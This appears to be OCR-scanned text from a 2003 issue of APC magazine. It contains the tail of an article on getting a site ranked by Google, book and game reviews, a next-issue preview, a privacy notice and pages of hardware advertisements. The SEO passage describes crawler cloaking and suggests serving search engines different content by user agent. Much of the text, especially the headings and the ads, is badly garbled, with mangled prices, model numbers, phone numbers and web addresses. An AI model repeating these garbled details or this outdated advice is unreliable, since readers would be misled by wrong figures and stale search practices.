of your optimised pages from competitors; and, showing different 
pages to different visitors based on their browsers. 

Subscriber-only sites also manage to get into SEs. They use a 
cloaking practice known as "agent name delivery", which is a slab of 
code that checks whether the visitor is a crawler or a human. Crawlers 
get to see the whole site, but others are directed to a sign-up form. 

©AVOID DOING THIS 

Here are some practices which could lower your site's Google 
ranking, or have it banned altogether. 

■ Gimmicks: JavaScript effects, such as cursor trails and transitions, 
do nothing for your viewers but place a lot of code above your 
body text. You want your content close to the top of the page. 

■ Bad HTML code: novice hand-coders might copy some HTML tags 
they don't understand. One Webmaster used the robot directive 
<INDEX, N0F0LL0W> and wondered why his site wasn't in Google 
in spite of Googlebot visits and good incoming links. He was asking 
to be indexed, but for his links not to be followed. 

■ Multiple sites with duplicated content: this is considered 
spamming. Multiple domains aliased to the same server are also 
considered spam. Use a permanent (301) redirect on all secondary 
sites to point to the main domain. 

■ Muitiple copies of the same page: typically this is an entry page 
optimised with varying keywords to lure different people (for 
example: crackz.htm, serials.htm, passwords.htm, and so on). 

■ Hidden content: this can be text on the same colour background 
or a layer with coordinates that are off the visible page. 

■ Flash-oniy pages: to avoid being penalised for slick start-up 
animation, have a user agent entry check that displays Flash to 
enabled browsers, but plain HTML to crawlers and human visitors. 


■ Frames: Googlebot will crawl links in the <N0FRAMES> text, but 
not ones in the framed pages. Other search engines might not 
crawl frames, so it's best to use tables. If you must use frames, 
ensure that you use the correct DOCTYPE declaration for frames. 

■ Submission software or services: these submit your site to 
thousands of search engines. You'll get plenty of spam, abuse and 
possible inclusion in linkfarms that will ruin your reputation in 
Google's eyes. 

■ Session IDs: sites that require session IDs from crawlers will get 
poor visibility because the previous session will have expired by 
the time Googlebot returns. 

® HAVE SOME PATIENCE 

Having optimised and submitted your pages to Google, get 
on with growing your business. Google takes time to rank you. 

Work on getting quality, inbound links from high-ranking sites 
that feature the same subject matter. Increase your content and 
keep it fresh. Get free or paid listings in Google Adwords, Yahoo!, 
the Open Directory Project (at www.dmoz.org), and reputable 
engines such as www.altavista.com,www.scrubtheweb.com, 
www.alltheweb.com and www.teoma.com. SHIS 


How the Google index works 

Google is a fast-moving entity. It changes its proprietary ranking algorithms 
constantly to better serve the end user and to thwart any shady SEO practices. 

Submitting your site to Google (www.google.com/addurl.html) is just the 
start. The robot Googlebot crawler traverses the Web, link by link, and adds 
new links to the database. Your site also needs to be introduced to Googlebot 
by an indexed site. 


'4 



A “deep" crawl is run as a distributed process from thousands of machines 
and occurs in the second half of each month. It usually takes several visits by 
Googlebot to traverse your site fully and it tries to avoid previously crawled links. 


Don't be too excited by the “Freshbot Effect" (or "Everfiux"), which is a 
temporary placement in the top SERPs for a few days. More important, don't 1 

panic when your pages disappear from the SERPs for many days. Google sees 
if you can attract visitors and takes that into consideration. It calculates your 
long-term positioning after a deep crawl but will perform several Freshbot 1 

crawls throughout the month. It can take three to four months for your S 

positioning to settle down. If you've been writing and submitting new pages • | 

regularly, Googlebot will be a regular visitor. . * 

■1 
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Network Securltij 

A Prc3cz1-iczc3l Ciuide^ 


Network Security provides an excellent mix 
of security theory, technical specifics, and 
procedural frameworks aimed at helping 
managers and IT executives understand 
security from a business point of view. 

While the book lacks the technical 
depth of the many large security tomes, 
it provides enough information to enable 
readers to discuss the technical elements 
of security and assist them in securing their 
environment. This includes different types 
of threats, IP and application level protocols, 
common networking and security utilities 
(such as traceroute, portscanners, IDS and file 
integrity tools), and various vendor and 
third-party security resources. 

Unfortunately, the title lacks coverage of 
vulnerability scanning tools. 


In some ways, however, this offering 
is more comprehensive than many large 
security books, since it acknowledges realistic 
but unglamorous (and hence overlooked) 
security threats, such as user error, power 
failure, and viruses as well as the more 
"exciting” dangers from external crackers. 

The rest of the book is an extensive 
guide to writing security policies designed 
to preserve the integrity of a company's 
resources. But here lies one of the book's 
few flaws: its discussion of computer crime 
legislation is based on UK law. 

Despite this. Network Security is an 
essential read for anyone dealing with 
security on a managerial level in a corporate 
context or government department. 
MikeMacCana 



Publisher Butterworth Heinemann 
Price $89.65 
ISBN 0750650338 


AnimdtlriQ with F-la&h MX 

Prores&sjioncsl Cre>c3tive» 
Animcstion TetzlnniquG»s» 


Windows XP 
Home* Erdltlon 

The Complete Reterentze 


In the last few years there has been a 
flood of DIY Macromedia Flash manuals 
mostly targeting those planning to use 
the program for Web graphics. This 
book, however, is geared towards users 
who are more interested in leveraging 
Flash's capabilities as a general purpose 
animation tool. 



Animating with Fiash MX covers all the 
fundamentals of storyboarding, character 
animation, "tweening", onion-skinning, 
and how all these aspects are specifically 
implemented within Flash. Publisher FocaiPress 

While the book opens with a very basic Price $69.95 
introductory tutorial for Flash newcomers, ISBN 0240519051 
it doesn't shy away from the harsh realities 
of using Flash in real world projects. For example, there is excellent 
coverage of using third-party software to achieve results not possible 
with Flash alone. 


In addition to advanced animation techniques, such as 3D, illustrating 
speech with facial movements and lip-synching, this is the first general 
purpose Flash book we've seen that introduces ActionScripting before 
the halfway mark (there are three entire chapters devoted to using 
ActionScripting for advanced animation and interactivity). 

The last few chapters move on to explore alternative applications for 
Flash animation. Traditional and experimental applications are covered, 
including a range of video and audio options, both analog and digital, 
plus animating for Pocket PC, Interactive TV and computer games. 

Daniel Potts 


This is a definitive offering that 
begins with working in the XP 
environment. From there the book 
moves in a logical sequence to file 
handling, Windows customisation, 
document and media manipulation, 

Internet access, basic networking, 

OS maintenance and power 
user-level configuration tools. 

While this book specifically 
caters to the Flome Edition of 
Windows XP, practically everything 
covered can also be applied to users 
of Windows XP Professional. 

Service Pack 1, Windows Media 
Player 9 and Media Center are also 
covered. 

That said, competing applications, such as Winamp, are 
given short shrift. And when codec selection is discussed, 
non-Microsoft formats, MP3 for example, are treated in a similar 
way. Fair enough, as this is a Windows XP reference, but why the 
need to mention them at all? 

At a hefty 985 pages, Windows XP Home Edition TheCompiete 
Reference isn't a must-buy for the idle dabbler. And, given the 
newcomer-friendly nature of Windows XP, power users won't 
derive full value from it either. Those who will benefit the most are 
beginner and intermediate users keen to learn more about this 
operating system. 

Justin Kranzi 


C«nplete 

R^erence 


Windows XP 
Home 


Pubiisher McOraw-Hiii/Osborne 
Price $74.95 
ISBN 007222641 
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Acheron's Cdll 

F-(3lle>n Kings* 

Turbine's sequel to Asheron's Call is set to put the world of 
multiplayer online gaming into a spin, writes Justin KranzI. 


Following the soap opera dictum that 
nothing attracts interest iike a good disaster, 
the original Asheron's Call world has been 
rocked by a cataclysmic event. The good 
folk of Dereth fled underground for safety. 
Luckily for online RPG players, there's nothing 
better than a good world flattening to create 
a new gaming canvas. Players in the world of 
Asheron's Call 2 play the masses who gradually 
emerge from their lairs. 

It's an approach that works well. For 
starters, it saves the Turbine development 
team the hassle of pre-populating a world with 
stacks of characters. If you want equipment, 
you need to "obtain" it from other players or 
monsters, or make it yourself. Only a limited 
number of items can be carried at once, 
regardless of their weight, but excess items 
can be converted to gold on the spot — no 
need to find a middleman. 

If this all seems very free-form and 
hands-off, the developers will upgrade the 
game at frequent intervals, including the 
popular "quest of the month" scenario of the 
original Asheron's Call. 

The biggest shock to experienced online 
RPG fans is the quality of the visuals. The 
realistic shadows and glossy detail of the 


AC2 world are a far cry from the 
low polygon count models and 
environments of yesteryear. The 
downside is that the number of 
character models is quite limited. 

The ability to skin or modify the 
appearance of your character 
would've been nice. 

And to run smoothly at full 
detail you'll need a top drawer CPU and video 
card for the game. It makes use of a hefty 
swap file so be prepared for frequent hard 
drive activity. Dialup players beware — even 
broadband users will experience inconsistent 
connection speeds. Whether this is due to the 
new graphics engine or a side coding issue is 
unclear, but lag is more of a problem than it 
was with the original Asheron's Call. 

Once you're online, a brilliant quest 
structure awaits. You can go solo in the initial 
stages, but teaming up with other adventurers 
("fellowships") becomes essential. Within the 
loose fellowship structure, stronger players 
gain experience points by taking weaker 
players under their wing. 

Despite the freewheeling nature of online 
RPGs, players always feel like part of a race to 
see who can rank among the most powerful 



ig with beasts; teaming up with other players is essential. 


in the world. There are three types of realm 
interactions: Peace, Free-for-all (both self- 
explanatory), and Kingdom Conflict, where 
your allegiances determine your foes. Player 
versus player servers exist if you wish to turn 
on your fellow adventurers, but aren't the 
hallmark of an AC2 experience. 

Credit has to go to Turbine and Microsoft 
for biting the bullet with this sequel (and 
not just churning out endless expansion 
packs). The game looks to have what it takes 
to attract the requisite hordes of newcomers 
needed to populate an online world. The 
gameplay and visual gulf between AC2 
and its competition practically guarantees 

Online www.asheronscall2.com 
Price $99.95 
Verdict i 
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Counterterrorism has never 
looked, or played, so good. 

Whether you subscribe to Tom Clancy's 
RainboxSix books or not, there is no denying 
that the Rainbox Six games have always been 
realistic and detailed. Their main shortcoming 
has been in the visuals — the game engine 
was never much chop. 

The latest Rainbox Six title, Raven 
Shield, changes that. Developer Ubi Soft 
has employed polygon-munching Unreal 
technology, giving a much-needed boost to 
the graphics department. 

A typical mission unfolds like this: 
briefing, strategic planning, then action. For 
most novices, what follows is a rather messy 
operation where half the squad bumbles 
around, the product of poor waypoint 
planning and dodgy pathfinding. The result is 
a Rambo-style effort which ends in humiliating 
failure. Much of the CPU's share of the blame 
has been eliminated, leaving the onus on you. 


While your squad sometimes has less 
than stellar navigation, the game's Al (one of 
the most difficult programming disciplines 
to incorporate) has been improved. Squad 
members controlled by the CPU can be 
instructed to perform actions like opening 
doors and clearing rooms, and often the 
biggest niggle is how easily they pick out 
targets before you do. 

Dispersal underfire remains erratic. Lead 
your team into an ambush and you're lucky 
to escape with any survivors. Such disasters 
can be avoided with intelligent instructions 
and a good waypoint plan. As with real life, 
running on time and following instructions is 
rewarded. Freelancing and going solo against 
multiple enemies will ensure a rapid demise. 

Raven Shield's beautiful visuals and the solid 
established playing formula are sophisticated 
enough to scoop the pool of gamers conditioned 
towards realism. It's not an easy game, and 
the multiplayer component requires more 
forethought and teamwork than most games of its 
kind, but it's effort well spent. The most important 



Caution pays; itchy trigger fingers aren't welcome here. 


Rainbox Six release since the original. Raven 
Shield is a tribute to persisting with, and refining, 
a winning formula. Its cerebral approach may not 
lure the multiplayer masses, but as a combined 
single and multiplayer experience, this goes 
straight to the head of the realism class. 

Online www.raven-5hield.com 
Price $99.95 
Verdict ••••• 
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Hail Caesar I Roman troops attack a fort. 


The strategy genre's banner year 
continues with Eidos' little ripper. 

Despite the number of excellent real-time 
strategy titles that have come out in the 
past year (Command and Conquer: Generals, 
Age of Mythology, Warcraft III), Eidos has 
thrown another one into the ring. And it's 
a winner. 

Set in the time of Julius Caesar, Praetorians 
sticks to history as much as possible. The 
game has a refreshingly minimalist resource 
model. Your key asset is the population you 
gain from successful invasion, so you're free 
to focus on tactical play. The types of units 
available are drawn from the population. 
Exhaust your people and it's all over — 
elegantly simple, and great for those who 
don't want to spend half their time farming 
or mining. 

The bias towards action makes the game 
play faster. Players still need to build structures 


and manage populations, but the narrower 
focus places a lot more emphasis on 
achieving the correct balance of attacking 
units and defensive structures. There is 
barely a resource which doesn't directly 
impact on your combative capability. The 
result is a game like Age of Mythology 
meets Medieval: Total War. 

The single player mode focuses on 
the Romans, whose Praetorian Guard 
were among the best soldiers of the era. 

In multiplayer mode you can also play as 
Egyptians and Gauls. The Egyptians are most 
suitable for the spiritually inclined, with 
priest-powered troops and clever technology 
trickery, while the Romans rely on their 
advanced war machinery to devastate 
opposing structures. Sadly, those seeking 
some Gallic flair may be disappointed. The 
Gauls rely on numbers and scrambling 
tactics to get by. 

Multiplayer games play solidly and swiftly 
for an RTS and the unit balance is exceptional. 


Players of equal skill will be able to match up 
with any combination of civilisations. 

The increased focus on combat over 
resource development gives Praetorians a 
distinctive flavour. It's a punishing experience 
for the RTS novice, and in single player mode 
the CPU is quite unforgiving. But if you're the 
persistent type, or an experienced RTS hand, 
this is definitely a worthy challenge. 

Online www.gamenation.com.au 
Price $89.95 
Verdict ••••« 
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The £>peect l£>s>ue 

Our writers share their favourite tricks, tweaks and 


ape 


techniques to help squeeze every last drop of speed 
from your PC. 


Installation, ease of use, hardware support, 
software and performance — 
we test these OS rivals to the limit. 


^ (Pdebian 

' ' Spe»cIc31 CD bonus 

Debian Linux 3.0, the distribution for the 


The XML. revoluflon 

APC explains the technology behind open 
document standards, Web services and why 
XML has the potential to transform every 
business into an ebusiness. 


ARC I_c3bs compares 

■ Best value desktops for $1,999. Plus 

■ High-speed serial ATA hard drives. Up and running with Debian, installing a serial ATA hard drive, stripping 

Windows 98SE down to the bare essentials, give your business network an open 
IM platform with Jabba, overclocking your Pocket PC handheld, and more. 


It'S. <3ll In the> July issue* of APC - 
on s<3le» June* IB. 

Subscribers get APC delivered even earlier, and at a substantial discount to the cover price — 
turn to page 96 for details. 


PRIVACY NOTICE 

This Issue of APC published by ACP Publishing Pty Ltd (ACP) may contain offers, competitions or surveys which require you to provide 
information about yourself if you choose to enter or take part in them (Reader Offer). If you provide information about yourself to ACP. 
ACP will use this information to provide you with the products or services you have requested, and may supply your information to 
contractors that help ACP to do this. ACP will also use your information to inform you of other ACP publications, products, services and 
events. ACP may also give your information to organisations that are providing special prizes or offers and that are clearly associated 
with the Reader Offer. Unless you tell us not to. we may give your information to other organisations that may use it to Inform you about 
other products, services or events or to give to other organisations that may use it for this purpose. If you would like to gain access to the 
information ACP holds about you, please contact ACP's Privacy Officer at ACP Publishing Pty Ltd,54-58 Park Street. Sydney, NSW 2001. 


TERMS AND CONDITIONS 

APC June 2003 SUBSCRIPTIONS PROMOTION 

1. Information on offer and prize forms part of these conditions of entry. 2. Offer is open to all residents of Australia who subscribe to 
Australian Personal Computer between 21/05/03 and 17/06/03. Entry is subject to the correct use of a valid credit card, or, if payment 
is made by cheque, the cheque must be cleared for payment. Subscriptions are to be sent to Australian Personal Computer. Reply Paid 
3357, Sydney 2001;orfreecall 1361 16. Employees of the Promoter and their immediate families and agencies associated with this 
promotion are ineligible to enter. 3. Every subscriber (while stocks last) will receive a limited edition APC screwdriver (not available 
in stores) featuring six alternative magnetic heads. Should stocks of the APC screwdriver run out. subscribers will receive a PC User 
screwdriver, also featuring six alternative magnetic heads.The screwdriver is not transferable or exchangeable and cannot be taken as 
cash. 4.The Promoter shall not be liable for any loss or damage whatsoever which is suffered (including but not limited to indirect or 
consequential loss) or for any personal injury suffered or sustained in connection with the prize except for any liability which cannot 
be excluded by law. 5.7he Promoter accepts no responsibility for late, lost or misdirected mail.The Promoter is not responsible for any 
gifts damaged in transit. 6. All entries become the property of the Promoter. The collection, use and disclosure of personal information 
provided in connection with this offer is governed by the Privacy Notice (see above). 7.The Promoter is ACP Publishing Pty Ltd (ABN 18 
053 273 546) of 54 - 58 Park Street, Sydney, NSW 1028. 


ADVERTISERS’ t N D E X 

Jell (PC,Gatefold,! Twin Head 


Creative Labs 


PC SUPERMARKET 153 to 163 


S4,155 Tf Computers 

156 JayCar 

157 RrstTechnology 

158 OzzieWeb 


MARKETPLACE 



















L4VXA2 

VIA P4X400 Chipsets 
Support Hyper Threading 
P4 533MHz FSB 
8xAGP 

AC 97 Codec, USB2.0 
ATX format 


L4IPEA2 

Intel 845PE Chipsets 
Support Hyper Threading 
Support Pentium 4 533MHz FSB 
3D sound. LAN on board 
ATX format 


L7S7A2 

SiS746 + 963 

Socket A, 266/333MHZ FSB 
Supports DDR333 
USB 2.0 
8xAGP 

6 Channel Audio 


K7VMM+ 

VIA KM266A 
SocketAforAMD CPU 
32M VGA (share) 
2SDRAM+2DDR 
AC97 Codec,USB 2.0 
lO/IOOMbps LAN 
mATX Format 


PMinc' 


Sydney: 

Melbourne; 

Perth: 

New Zealand: 

Web Site: wvvw.protac.com.au 

Ph: (02) 8748-8888 

Ph;(03) 9560-7188 

Ph: (08) 9244-2888 

Ph: (09)570-7788 

Fax: (02) 8748-8800 

Pictures are for illustratioi 

Fax: (03) 9560-7288 

1 purpose only. Specificatii 

Fax: (08) 9244-3999 Fax: (09) 570-1286 

ons are subject to change without prior notice. 

Email: supports(gprotac.com.au 



L4S5A3 

SiS645DX+962L 
P4 533MHz FSB 
Hyper Threading 
AC97 Codec, USB 2.0 
ATX Format 



L4S5MG3/651 

SIS651 +962L 
Hyper Threading 
P4 533MHz FSB 
64M VGA (Share) 

AC 97 Codec. USB2.0 
MATX format 







WWW.newresility.com. 
















DESCRIPTION (Kits Compatible 


l\lenRealit!j Resources Pty. Ltd. m-073 908 013 Bayside Business Park ^ 
Australia Wide FREECALL -1800 BOB BOS Shop I / 70 Redland Bay Rd 

OLD Phone-10713845^411 Fax-10713845 8755 Capalaba04l57 
VIC Phone-10319878 8888 Fax-10319878 3933 


FREE AUSTRALIA WIDE DELIVERY! SAME DAY DISPATCH!! 
COD * MONEY ORDER * CHEQUE * MASTERCARD * VISA * BANKCARD * AMEX 


r»Ertr=artn/Mj^i\itz4 


HEFiLL & y\T LE/\ST aa°/o OEE PRIIMTIIMG COSTS 

BLACK REFILL KITS FROM OMLY SB4.90 X 

Black kits include superior, dense & sharp black inks * SAVE af/east 80% 


DFSCRIPTION IKIts Compatible with Printers listed belo w) No. pf Refills I 
CANON BJ-30 

CANON BJC-70/BJC 80 60 

CANON BC-01/02 BJ-10E/20 BJ-200 Series & BJC-1000 Series 9 

CANON BJ-300/ 330 7 

CANON BJC-600/610/620 16 

CANON BJC-2000/4000/4100/4200/4300/4550/5000/5500 BCI-21 45 

CANON BJC-2000/4000/41 00/4200/4300/4550/5000/5500 BC-20 9 

CANON BJC-3000/6000/8000 Series 12 

HP Desk Jet 400/500 Series 6 

HP Desk Jet 600/660/690 Series 6 

HP Desk Jet 700/800/900/1000 Series 8 

HP Desk Jet 300 Series & Oiivetti JP’sl 8 

EPSON Stylus 400/800/800+/1000 8 

EPSON Stylus Colour /PRO/XL 12 

EPSON Stylus 820/colour ll/lls 12 

. EPSON Stylus Colour 200/300/400/500/600/800/850/1520 12 

I EPSON Stylus Colour 440/460/480/640/660/700/740/760/900 

I IBM/LEXMARK 4076/1000/1020/2000/2030/2050 Series 
I IBM/LEXMARK 5000/5700/7000 & Z Series 
I CANON, EPSON, HP Fluorescent & Photo Realistic KitsI 


I CANON BJC- 210 / 21 OSP/240/255/265/1000 Series 
1 CANON BJC-600/610/620 

I CANON BJC-2000/4000/4100/4200/4300/4550/5000/5500 BCI-21 
I CANON BJC-3000/6000/8000 Series 
I HP Colour Desk Jet 300/400/500 Series & Olivetti! 
i HP Colour Desk Jet 600C/660C/690C Series 
I HP Desk Jet 850C/855C/870C/1OOOC Series 
I HP Desk Jet 710/720/890/900 Series 
I EPSON Stylus Colour /PRO/XL 
I EPSON Stylus 820/colour ll/lls 

I EPSON Stylus Colour 200/300/400/500/600/800/850/1520 
■I EPSON Stylus Colour 440/460/480/640/660/700/740/760/900 
I IBM/LEXMARK 4076/1000/1020/2000/2030/2050 Series 
IBM/LEXMARK 5000/5700/7000 & Z Series 
4 CANON, EPSON, HP Fluorescent & Photo Realistic KitsI 


Product Code 1 
22-CLR 
25-CLR 
10-CLR 
17-CLR 
47-CUR 
14A-CLR 
14B-CLR 
30A-CLR 
30B-CLR 
16-CLR 
24-CLR 
34A-CLR 
34B-CLR 
36A-CLR 
36B-CLR 
Please Calll 




fUSING NEW REALITY'S INKJET REFILL KITS WILL NOT VOID YOUR PRIHTiri WARRAN TY.! 

[NewRtalilyReiorotoMiihlMiiilliMyprialirMiiiifactiireniifOEM'siriiw'to 


DELIVERY FR^f^suE 

ftUSTRALIAWIDE tiiimFuiiTf-fiMM 


,oQ/r 


sltm'aest range of 


AUSgiRALIA WIDE FREECALL 


680 6051 


Oeaiers t/panted in alt states and IMZI 

Far more information please call. 


ALL PRICES INCLUDE GST 

























Looking to maximise your communications 
resources? 


Plug’n’Play with a USB port built into your telephone 

Looking for a smart but easy-to-use phone system that will suit any size organisation? 

Do you want the intelligence and scalability of a PABX for the price of a Key System? 

User-friendly Plug’n’Play features include: 

• connecting a handset directly to your PC via the built-in USB port, allowing you to dial directly from your 

PC using contact management software such as Outlook, ACT, or Goldmine; the USB port can even emulate 
a 56K or ISDN modem; our telephone software is free and can be downloaded from the Web and installed 
with the same simplicity as any other computer peripheral 

• adding a second phone or analogue extension for a modem, or a SOBus Port for a videoconferencing unit 

• adding a headset, recording device, external speaker and microphone for 
the boardroom phone 

All this is backed up by a full remote maintenance and administration 
package to keep your system working for you. 


To find out more, contact TAMCO - your Siemens Quaiified Partner. 

9b 106 Old Pittwater Road Brookvale NSW 2100 
Phone: 1300 137 266 
Fax; (02) 8978 7077 

F-mail' infn/Trltamf'n /'r\m an 


Qualified Partner 


SIEMENS 

Information and 
Communications 



Telstra Dealer 














Available through Anyware resellers across the country. Please ask your local computer shops for availability and prices. 







)eace and quiet 

computer room 


is in your 


Introducing The Ultra Silent Antec Sonata Case 



Relax. Enjoy the comfort of your home with a computing system that should be seen and not 
heard. Sonata is stylish with its sleek, piano black finish and blue lit, chrome front port to fit 
even the most demanding personality. And it’s totally engineered with quiemess in mind with its 
low-noise cooling, vibration-absorbing drive mounts, and a special TruePower power supply. 

It will never disrupt your environment or your lifestyle. Now that’s __ 
peace of mind. That’s the power of you. To view our full line of 

products, visit us online at www.antec-inc.com. The Bower of Bou 


%■ 

AyKsti 


Australian Premium Distributor 


Sydney: 

37 - 39 Egerton Street, 
Silvetwater, NSW 2128 
Tel: (02) 9735 5655 
Fax (02) 9735 5656 

sales@altecti.copn.au 


Brisbane: 

64 Hope Street, 

South Brisbane, OLD 4101 
Tel: (07) 3017 2000 
Fax (07) 3017 2020 


info@altech.com.au 

www.altech.com.au 


i«HB SONY 


Premium Retailers; 

NSW Harvey Norman Auburn 
A-Plus Soiutons 
SecretNet 
Plus Corporation 
QUO Masterlink Computers 
GameDude 
National Computers 
SA eSquare 
ViC Scorpion Technology 
PC Case Gear 
Nexus Technology 



(02) 9202 4601 
(02) 9746 0288 
(02) 9796 8233 
1800 007 587 
(07)4125 5077 
(07)3844 5144 
(07)5531 3188 
(08) 8234 1600 
(03) 9886 1615 
(03) 9568 0932 
(03) 9663 9988 

iSi ® — 


www.gamedude.com.au 


www.e8quare.com.au 

www.scorptec.com.au 

www.pcca8egear.com 




TMN 


AMDn 















TecimoMatt 


VISIT OUR SECURE WEBSITE FOR ONLINE ORDERING LATEST PRICES COMPLETE RANGE OF PRODUCTS 
' Tel: (02) 9341 3366 Fax: (02) 9341 3377 E-mail: info@technomart.com.au Web; www.technomart.coi 



P42.4GH2S478800FSB 


P4Z8GHZS478800FSB 
P4 3.0GHz S4788aOFSB 

AMD 

^ Athlon XP 2400+m Box 

P4 3.06GHZ AWonXP2800+h Box 

LZ, w ^ 2 ^ i" Box 

AWonXP 2800+in Box 
$810 AWonXP 3000+in Box 


MOTHERBOARDS 

Socket 478 (Pwittum 4 / Calwon) 
ASUS P4PE Deluxe $300 

ASUSP4S533-MX 
ASUS P4G8X Deluxe GoW 
ASUSP4S8X-X 


Gigabyte GA8IK1100 
Gigabyte GA-8KNXP 
Gigabyte GA-OKNXPUHra 
Socket A (Duron / Athlon) 
ASUS A7N8X Deluxe 
ASUSA7V8X-X 
Gigabyte GA-7VAXP Ullia 
Gigabyte GA-TVKMP 



S22S AGP 8X. DUAL DDR400, 
$1% SATA, GIGABIT LAN 

$380 


OPTICAL DRIVES 
CD-RW Drives 


„ 4KUS52X24X52X 

, ^ ASUS52X24X52X 

BenQ48X24X48X 
Ljl»On52X24XS2X 
Sony52X24X52X 

SONY DVD-ROM Drives 

DRU500AX 

4XDVD±RW,24XCD-R, 

10XCD-RW, 8XDVDROM, 

32XCD.ROM SSSttWDrives 

5787 ASUSDVDR/RW 


WD600JB 60GB 8M Buffer 
W0800JB 80GB 8M Buffer 
WD1200JB120GB 8M Buffer 



Banacuda 120GB 
Barracuda SerW ATA 00GB 
Banacuda Serial ATA120GB 


DiamonAtax Plus 9 200GB 


WESTERN 

DIGITAL 

WD2000JB 

200GB, 720aRPM. 
UATA100.8.9MSSEEK 
TIME, SMB BUFFER 

$497 




ASUS V9180MAGIC 

GeForce4 MX440,64MB DDR 
RAM, AGP 8X,VGA STV-Out 

$136 


VIDEOCARDS 


ASUSV81700DRSE/T 


ASUSV9900-TD-128 
$74 Sapphie Radeon 9700 
-Sapphire Radeon 9500 


Sapphire Radeon 
9500PRO 

128M DDR RAM, 2S6-BIT 
MEMORY,TV/DV1 OUT, AGP 8X 

$410 



T CRT Monitors 
\ irBenQV772 
I irPhipelOTE 
irLGStudioWori<s700S 
ir Mitsubishi DV1770H 
ISrSenQVSSI 
' ■ 19”Phips109S 

IS’LGStudkiWorksgOOB 
kA 1 19-Mitsubishi DV19960 
LCD Monitors 
15‘BenqFP557 
15* Philips Ultra sum 1S0S3F 
IS-LGFIalronlSIOS 


MITSUBISHI 17” DV172 

1280x1024, ANALOGUE/DVI INPUTS, BULTHN STEREO 
AMPLIFIER & SPEAKERS 

$921 



Po«*efSholA2002.0MP 
PowerShot IXUS V3 32MP 
PoworShotG34.1MP 


QuickCani Express 


CANON A40 

, 2.0 MP,3X OPTICAL & 

' 7.5XDK3ITALZCKMI. 

” MOVIE RECORDING & 
i PLAYBACK WITH AUDIO 

^ $520 



Creative l-Trlgue 3300 
Creative Inspire 5100 
Cre^ Inspire 5300 


.1 SOUND QUALITY 


SOUND CAROS 

Creative Vttxa 128 OEM 
Creative SB UvelDE 5.1 
Creative SB Extigy 


CREATIVE AUDIGY 2 PLATNIUM 

ADVANCED HD. 106 SNR,THX CERTIFIED, DOLBY DIOITAL 
EX. 6.1 SURROUND. 24-BfT/96KHZ RECORDING. DVD- 
AUDIO PLAYBACK, SUPER-FAST S61394 PORT 

$428 


INKJET PRINTERS 


Epson Stylus 

C41SX 

C41UX 


CANON S820 


6 INDIVIDUAL INK TANK. 
USB/PPT. A4 BORDERLESS 
PRINTING, PC & MAC 

$449 


HP 2300C 

600X1200DPI. 48-BIT 
COLOUR. USB 2.0 

$124 


HP ScanJet 

3S00C 

3570C 


Alt prices as of 25/04/2003. Please check the latest prices at vt 


'w.technomart.com.au 



TM-1000i SERIES TM-2000I SERIES 

Antec SLK1600 Chassis 
Gibabyte GA-aPE667 Mainboard 
Integrated VGA, Audio & LAN 
256KlBKinffi- - 


TM-3000i SERIES 


_ 5 Kincpton DL 

Seagate 4^8 7200RPM HDD 
Lite^ 52X24X52 CD-RW Drive 
Panasonic 1.44MB FDD 
56K Internal Modem 
Philips ir CRT Monitor 
Creative Desktop Speakers 
Internet Keyboard 
Optical Mouse 
Microsoft Windows XP Home 

Celeron 1.8GHz $1260 

Celeron 2GHz $1290 

Celeron 2.2GHz $1330 

Pentium 4 1.8GHz $1420 

Pentium 4 2.4GHz $1460 


Antec SLK2600 Chassis 

Gibabyte GA-8SQ800 Ultra Mainboard 

Integrated 6-Channel Audio & LAN 

128MB Leadtek A280 TD Ti4600SE Video Card 

512MB Kington DDR333 RAM 

Seag^ e^B7200RPM HDD 

UteSi 52X24X52 CD-fVN Drive 

LitoOniex DVD4tOM Drive 

Panasonic 1.44MB FDD 

56K Internal Modem 

Philips ir CRT Monitor 

Creative Desktop Speakers & Subwoofer 

Microsoft WireiesspScal Desktop 

Microsoft Windows XP Home 

Pentium 4 2.4GHz $2300 

Pentium 4 2.53GHz $2360 

Pentium 4 2.67GHz $2450 

Pentium 4 2.8GHz $2710 

-.. $2770 


GibabitLAN 

Radeon 9700 Pro Video Card 
-RAM (Dual-Channel Mode^ 


X Seagate 120GB: 
iSUSDVD-R/RWDli 


__Drive 

Lite-On 16X DVD-ROM Drive 

Panasonic 1.44MB FDD 

56K Internal Modem 

PtiHips 19” CRT Monitor 

Creative Audigy 2 Platinum 6.1 Sound Card 


Pentium 4 3.06GHz 


Creative.. 

Microsoft- 

Microsoft Windows: 

Pentium 4 2.4GHz 
Pentium 4 2.53GHz 
Pentium 4 2.67GHz 
Pentium 4 2.8GHz 
Pentium 4 3.06GHz 


range of AMD cxmfigumtions, goto mim.technomart.com.au for more details 

- ageorge Bank Ltd. §88: ' ; 


■d (VISA, Master Card or Bankcard only). All orders ar 























www.ticomputers.com.au 

Trinity internationai Computers PH: 02 9437 5437 FAX: 02 9437 546 

SHOPS 10-12 Clarke Street Crows Nest NSW 2065 Email: t«lt«#ticomputersxoill« 



Pentium 1.7G Celeron Intel CPU 
Pentium 2.0G Celeron Intel CPU 
Pentium 4 1.7GHZ Socket 478 


256Mb DOR PC2700Apacer 
256Mb DOR PC3200 Samsung 
512Mb ODR PC2700 Kingston 
512Mb DDR PC3200 Samsuf^ 
Special 128Mb Notebook SO 
Special 256Mb Notebook DDR 


Intel Xeon24G Intel CPU 
Intel XeonZOG Intel CPU 
Intel Xeon2.8G Intel CPU 
AMDAtNonXP ISOO-t- Rets 


HDD 


i4 7200rpm 


:p 2200-^ Retail 
AMDAtNonXP 2400+ Retail 
AMDAthktoXP 2600+ Retail 
AMOAWonXP 2700+ Retoil 
AMO Athlon XP 2800+ Retail 
AMDAtNonXP 3000+ Retail 


120Gb Seagate ATA100 7200rpm 
120Gb Seagate Serial ATA 7200rpm 
80GWDHDD 7200 8mb Cache 
120G HDD 7200 8mb Cache 
Cheetah 36Gb15.000rpm U160 
Cheetah 36Gb lO.OOOrpm U160 
Cheetah 73Gb lO.OOOrpm U160 
20G 2.5" Hitochi Notebook HDD 


Tl Computers won 
PC World's Number 1 

"BEST BUY" 




Tl AMO Seper Deluxe Pack 


Dolby Digital Audio 
■ ~ 4200 VIVO DVI 
512Mb DDR RAM Kir^ton PC2700 
- - 58Mb7200rpm 


1 Monitor from Monitor Ust 
Internet KB & MS Optical Wheel Mouse 
16 Speed DVD LG with Power DVD 
52x24x52 CD-RW LG with Nero Software 


71M Staler Oekare Peek 


Pentium 4 2.53Qhz 
Pentium 4 2.870hz 533FSB 


512Mb DDR PC2700 



nPrnlumWMmrP 

tal Xeon 2G (2xCPU) 
tel Xeon 2.4G (2xCPU) 

